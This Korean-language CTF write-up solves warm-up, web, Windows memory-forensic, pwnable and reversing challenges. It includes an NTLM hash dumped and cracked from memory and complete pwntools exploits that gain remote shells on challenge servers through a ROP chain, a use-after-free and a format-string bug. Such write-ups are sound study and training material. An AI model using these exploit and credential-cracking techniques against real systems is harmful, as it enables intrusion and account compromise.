[WARM UP 5] sanity code int main(){ int i = 0; char *ptr; char input[17] = {0, }; char test[17] = {15,19,6,14,21,11,7,11,33,21,26,40,1,11,4,74,0}; printf("please Input Your FLAG : "); scanf("%s", input); for(i = 0; i < 16; i++) test[i] ^= input[i]; } if(!strcmp(test, "HackabilityCheck")) printf("good :)\n"); Colored by Color Scripter cs from pwn import * l=[15,19,6,14,21,11,7,11,33,21,26,40,1,11,4,74,0] s='hackabilitycheck' print xor(l,s) Colored by Color Scripter Key : GreetingHacking! cs [WARM UP 5] sanity binary 키출력하는함수이다. 치트엔진으로쓰레드생성해주면끝. [WARM UP 5] Toddler's Stair /prob1.php?hehe=givemeflag Content-Type : application/x-www-form-urlencoded /prob2_yoyo_0123.php POST 데이터 please=givemeflag 전송 /hoihoi_prob3_.php POST 데이터 please=givemeflag 와함께?hehe=givemeflag GET 데이터 전송 /yeah_f1nal_stag3.php document.cookie="kokoro=pyon_pyon_surun_jaa"
Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdump 로해시추출후크랙 d1m1g0:1000:aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4::: Hash Type Result 0515322a55615056aaabb044a48463a4 NTLM 1q2w3e4r! Key : d1m1g0_1q2w3e4r! [PWNABLE 250] Kanai's Cube 길이체크를하지만 signed int 형이므로 -1 로 int overflow 발생시켜길이를조절한다. 커스텀카나리로 bof 를체크한다. 시드가타임기반이므로쉽게우회할수있다. puts 로 got 릭 -> printf got 를 system 으로 write -> printf_plt 호출 -> shell from pwn import * from ctypes import CDLL libc = CDLL('libc.so.6') libc.srand(int(time.time())) cookie = libc.rand() r = remote('45.32.38.83',25552 ) print r.recv() r.sendline(str(-1)) print r.recv() puts_plt = 0x08048460 printf_plt = 0x08048440 read_plt = 0x8048430 read_got = 0x804a00C printf_got = read_got+4 binsh = 0x804A044 p4r = 0x804879c p3r = p4r+1 cs
p2r = p4r+2 p1r = p4r+3 p0r = p4r+4 p = 'A'*122 p += p32(cookie) p += 'A'*12 p += p32(puts_plt) p += p32(p1r) p += p32(read_got) p += p32(read_plt) p += p32(p3r) p += p32(0) p += p32(printf_got) p += p32(4) p += p32(read_plt) p += p32(p3r) p += p32(0) p += p32(binsh) p += p32(10) p += p32(printf_plt) p += p32(p1r) p += p32(binsh) sleep(0.1) r.sendline(p) print r.recv() print r.recv() s = r.recv() s = s[1:] print hexdump(s) read = u32(s[:4]) print 'read',hex(read) printf = u32(s[4:8]) print 'printf',hex(printf) system_offset = -0x9e5e0 system = read + system_offset print 'system',hex(system) r.send(p32(system)) r.sendline('/bin/sh\x00') r.interactive() $ cat flag Good! flag{7h3r3_15_n0_c0w_13v31~!@#$} Key : 7h3r3_15_N0_c0w_13v31~!@#$ [PWNABLE 250] Freedom Dive 간단한 UAF 취약점이다. echo 로구조체전체크기만큼원하는데이터를쓸수있다. 간단하게 free 릭한후 system 주소구해서 delete 로트리거
set -> set -> delete (free) -> echo (free 주소전까지데이터를채움 )-> show( 릭 ) -> echo(free function addr write) -> delete ( trigger) from pwn import * #r = remote('u',1234) r = remote('45.32.38.83',25252) r.recvuntil('name\n') r.sendline('1') r.recvuntil('menu]\n') def echo(s): r.sendline('0') r.recvuntil(' : \n') r.sendline(s) r.recvuntil('menu]\n') def set(name, desc): r.sendline('1') r.recvuntil('name\n') r.sendline(name) r.recvuntil('ion\n') r.sendline(desc) r.recvuntil('menu]\n') def show(): r.sendline('2') data = r.recvuntil('=')[:-1] r.recvuntil('menu]\n') return data def delete(): r.sendline('4') r.recvuntil('menu]\n') set('a'*35, 'A'*215) set('a'*35, 'A'*215) delete() p = 'A'*251 echo(p) s = show() free = u32(s[0x107:0x107+4]) print 'free',hex(free) system_offset = -0x38720 system = free + system_offset print 'system',hex(system) p = '/bin/sh;' p += 'A'*(252-len(p)) p += p32(system) echo(p) r.sendline('4') r.interactive() cs
$ cat flag Congratulations!! flag{y0yo_f0ur_d1m3n5ion5!!} Key : Y0yO_F0UR_D1M3N5ION5!! [PWNABLE 300] Freedom Dive2 달라진것은 free 함수주소를세팅할때 plt 가아닌 libc 주소를넣어릭이필요하다. printf 에 fsb 를발생시켜 libc 를릭한다. 스택에 libc 의 scanf+6 주소가들어있어 libc 릭이가능하다. 시나리오를수정하면 set x3(printf 호출하기위해 delete 로 2 번트리거해야하기때문 ) -> echo(free 주소자리에 printf_plt write) -> delete( 트리거하여 printf fsb 발생 ) -> libc@scanf+6 릭 + system 주소계산-> echo(free 주소를저장하는곳에 printf_plt write) -> delete(trigger) - > shell from pwn import * r = remote('45.32.38.83',28882 ) r.recvuntil('name\n') r.sendline('1') r.recvuntil('menu : ') def echo(s): r.sendline('0') r.recvuntil(' : ') r.sendline(s) r.recvuntil('menu : ') def set(name, desc): r.sendline('1') r.recvuntil('name : ') r.sendline(name) r.recvuntil('ion : ') r.sendline(desc) r.recvuntil('menu : ') def show(): r.sendline('2') cs
data = r.recvuntil('=')[:-1] r.recvuntil('menu : ') return data def delete(): r.sendline('4') r.recvuntil('menu : ') set('a'*35, 'A'*215) set('a'*35, 'A'*215) set('a'*35, 'A'*215) delete() printf_plt = 0x08048450 p = '%09$x' p += 'A'*(252-len(p)) p += p32(printf_plt) echo(p) r.sendline('4') s = r.recv()[:-4] scanf_6 = int(s[:8],16) print 'scanf+6',hex(scanf_6) t system_offset = -0x22ee6 system = scanf_6 + system_offset print 'system',hex(system) p = '/bin/sh;' p += 'A'*(252-len(p)) p += p32(system) echo(p) r.sendline('4') r.interactive()
[REVERSING 400] Peaceful Benedu Time 함수를들여다보니생겨먹은게딱 aes cbc 였다. key 와 iv 는 time 기반으로한시드로생성된다. 통신을하면서키를동기화하기위해다음암호화에쓰일 key 와 iv 를함께보낸다. 프로토콜을대충분석해보면 0x0~0x4 y 0x4~0x8 x 이후 WINNER MESSAGE 0x20~0x30 key 0x30~0x40 iv 이다. 키를계속교환하기때문에첫키만알면쭉복호화가가능하다. 이패킷부터복호화하도록한다. No.1 그전패킷의타임스탬프이다.
pbt_init_key.py import os from Crypto.Cipher import AES def aes_decrypt(enc,key,iv=''): if iv: cipher = AES.new(key, AES.MODE_CBC, iv ) else: cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(enc) seed = 1460215294.736482000 r = os.popen('srand.exe %d 32' % int(seed)).read() r = r.split(' ')[:-1] r = map(lambda x: chr(int(x)&255), r) key = ''.join(r[::2]) iv = ''.join(r[1::2]) print 'key',key.encode('hex') print 'iv',iv.encode('hex') cs 초기키를구하는스크립트. 결과 key fc97b2018d035bf55d489d768135a1f0 iv b0c8ee66854cddbf02c2a538644a4b08 pbt_decrypt.py import dpkt from PIL import Image from Crypto.Cipher import AES from pwn import hexdump,u32 def aes_decrypt(enc,key,iv=''): if iv: cipher = AES.new(key, AES.MODE_CBC, iv ) else: cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(enc) f=file('filtered.pcap',"rb") pcap=dpkt.pcap.reader(f) packets = [] for ts, buf in pcap: eth=dpkt.ethernet.ethernet(buf) cs
ip=eth.data tcp=ip.data packets.append(tcp.data) key = 'fc97b2018d035bf55d489d768135a1f0'.decode('hex') iv = 'b0c8ee66854cddbf02c2a538644a4b08'.decode('hex') packets = packets[1:] datas = [] for packet in packets: data = aes_decrypt(packet, key, iv) datas.append(data) key = data[0x20:0x30] iv = data[0x30:0x40] if packet == packets[-1]: print repr(data) stones = [] for data in datas[:-1]: y = u32(data[:4]) x = u32(data[4:8]) stones.append([x,y]) im = Image.new('L', (30,30),128) pixs = im.load() for i in range(len(stones)): stone = stones[i] if i%2: pixs[stone[0],stone[1]] = 255 else: pixs[stone[0],stone[1]] = 0 im.save('map.png') from md5 import md5 print md5('ha_n0_0ne_doing_benedu_lol').hexdigest() WINNER MESSAGE HA_N0_0nE_DoInG_bEnEdU 패킷의앞 4 바이트가바둑돌의 y 좌표다음 4 바이트가 x 좌표이므로 PIL 로바둑판맵을그려본다.
MAP LOL Key : a2113fcefa94fa5b16f44a28fbb831b6 ( 아이디어가참신했고리얼월드느낌이많이났다. 최근푼 ctf 문제중에서오랜만에재미있는문제였다.) [REVERSING 450] Where is input exe 에서 dll export check 함수로체크한다. 앞문자열은 Th1S_1s_ 로시작한다. dll 의 check 을보면안티디버깅이여럿있는데적절히우회해준다. CreateThread 에ㅓㄴ 이런코드를볼수있다.
rol 과 rand 을 xor 한다. key 는앞자리와뒷자리를 xor 한값이다. 그리고 rol 과 xor 은역연산이가능하다. 그러므로앞 1 바이트를알면역연산을할수있다. rand 값은모두뽑아서테이블을만든후역으로접근한다. 1 바이트밖에안되니브포로찾자. Th1S_1s_first key <THE_input_i5_> 그리고더뒤지다보면 10001540 이있는데 이런코드를발견할수있다. 이코드는 vmware 게스트에서만정상적으로작동한다. 호스트의클립보드데이터를가져온다.
chk2 를보면 ror 이 rol 로 xor 순서가바뀐것외에는같다. import string printset = set(string.printable) is_print = lambda x: set(x).issubset(printset) rands = [0, 21468, 9988, 15628, 9196, 20666, 17047, 3649, 19799, 32763, 24976, 9089, 16806, 8936, 593 2, 7969, 25518, 2196, 14616, 28336, 23962, 7112, 31685, 8245, 26588, 29395, 30882, 5184, 14115, 26378, 23373, 23126, 17114, 8983, 32290, 31933, 7524, 18610, 27456, 21595, 29452, 21586, 9025, 1692, 4405, 18755, 27591, 6804, 10908, 23948, 13535, 5036, 26333, 7904, 19125, 12347, 20774, 576, 10970, 611, 318 21, 24050, 21277, 16100, 6231, 31089, 17306, 6301, 19638, 8772, 31053, 21614, 21745, 20580, 7926, 291 20, 27188, 23540, 12003, 9146, 20720, 8811, 7309, 26589, 4543, 18011, 10876, 25836, 18420, 1249, 2675 6, 28463, 3193, 25192, 29171, 18250, 787, 12207, 10930] rands2 = [0, 21468, 9988, 15628, 9196, 20666, 17047, 3649, 19799, 32763, 24976, 9089, 16806, 8936, 59 32, 7969, 25518, 2196, 14616, 28336, 23962, 7112, 31685, 8245, 26588, 29395, 30882, 5184, 14115, 2637 8, 23373, 23126, 17114, 8983, 32290, 31933, 7524, 18610, 27456, 21595, 29452, 21586, 9025, 1692, 4405, 18755, 27591, 6804, 10908, 23948, 13535, 5036, 26333, 7904, 19125, 12347, 20774, 576, 10970, 611, 31 821, 24050, 21277, 16100, 6231, 31089, 17306, 6301, 19638, 8772, 31053, 21614, 21745, 20580, 7926, 29 120, 27188, 23540, 12003, 9146, 20720, 8811, 7309, 26589, 4543, 18011, 10876, 25836, 18420, 1249, 267 56, 28463, 3193, 25192, 29171, 18250, 787, 12207, 10930, 17600, 22080, 8039, 31304, 21498, 4980, 1453, 5887, 13567, 19574, 15153, 11927, 28176, 22916, 2326] cnt = 0 def get_rand(): global cnt c s
cnt -=1 return rands[cnt] def get_rand2(): global cnt cnt -=1 return rands2[cnt] def rol(data, shift, size=8): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def ror(data, shift, size=8): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) key1 = 'E249D96FA3F5592FFF8F0131FD214270C405543EB3499188175017E6871ED0C468'.decode('hex') key2 = 'A37F7D5C99694CB90492F79867B27AD4766E0F584396314FE105240555DD24E496510EABA6E2'.d ecode('hex') def check1(key, first_char): global cnt cnt = len(rands) s = [None] * len(key) s[0] = ord(first_char) for i in range(len(key)-1): s[i+1] = s[i]^ord(key[i]) for i in range(len(s)-1,-1,-1): get_rand() s[i] ^= get_rand()&0xff r = get_rand()%8 s[i] = rol(s[i], r) return ''.join(map(chr, s)) def check2(key, first_char): global cnt cnt = len(rands2) s = [None] * len(key)
s[0] = ord(first_char) for i in range(len(key)-1): s[i+1] = s[i]^ord(key[i]) for i in range(len(s)-1,-1,-1): get_rand2() r = get_rand2()%8 s[i] = ror(s[i], r) s[i] ^= get_rand2()&0xff return ''.join(map(chr, s)) for i in range(255): s = check1(key1, chr(i)) if is_print(s): print s for i in range(255): s = check2(key2, chr(i)) if is_print(s): print s Colored by Color Scripter Th1S_1s_first key <THE_input_i5_> Second key <in_the_vmb4ckd00r_i0_p0rt> Key : THE_input_i5_ in_the_vmb4ckd00r_i0_p0rt
[REVERSING 300] Gauss 겉으로보면매우복잡하게보이지만다행히입력값이달라도조건은항상같았다. 하지만입력값에따라리턴값은다르기때문에파일을패치하여내가입력한값의 리턴값이무엇인지알수있도록출력하여 (puts(v6+i)) 조건을맞추었다. from pwn import * s = '94A3A3FF825715FF27DEADFE9A672AFED120CDFD2A2044FD02D59FFC61F81EFCFC1CD4FB7D565DF BB5C3C2FA1A481FFADD1DA2F9102C29F9E78995F8297521F89A1EA5F7DB4C19F72CA4B3F63771FDF5229 FAAF5CA2637F52DF1D0F45F8359F40A0DC9F3DD967BF3E188CBF2DCAF59F2'.replace(' ', '').decode('hex') answer = [] for i in range(0,len(s),4): answer += [u32(s[i:i+4])] flag = 'flag{ar3_y0u_g3niu5_or_fool' for i in range(len(flag),28): for c in string.printable: p = flag + c r = process(['gauss',p]) c s
sleep(0.1) s = r.recv(140)[:i*5+5] l = [] for j in range(0,len(s),5): l += [u32(s[j:j+4])] my = l[i] if my == answer[i]: print c flag += c print '##########flag',flag break Colored by Color Scripter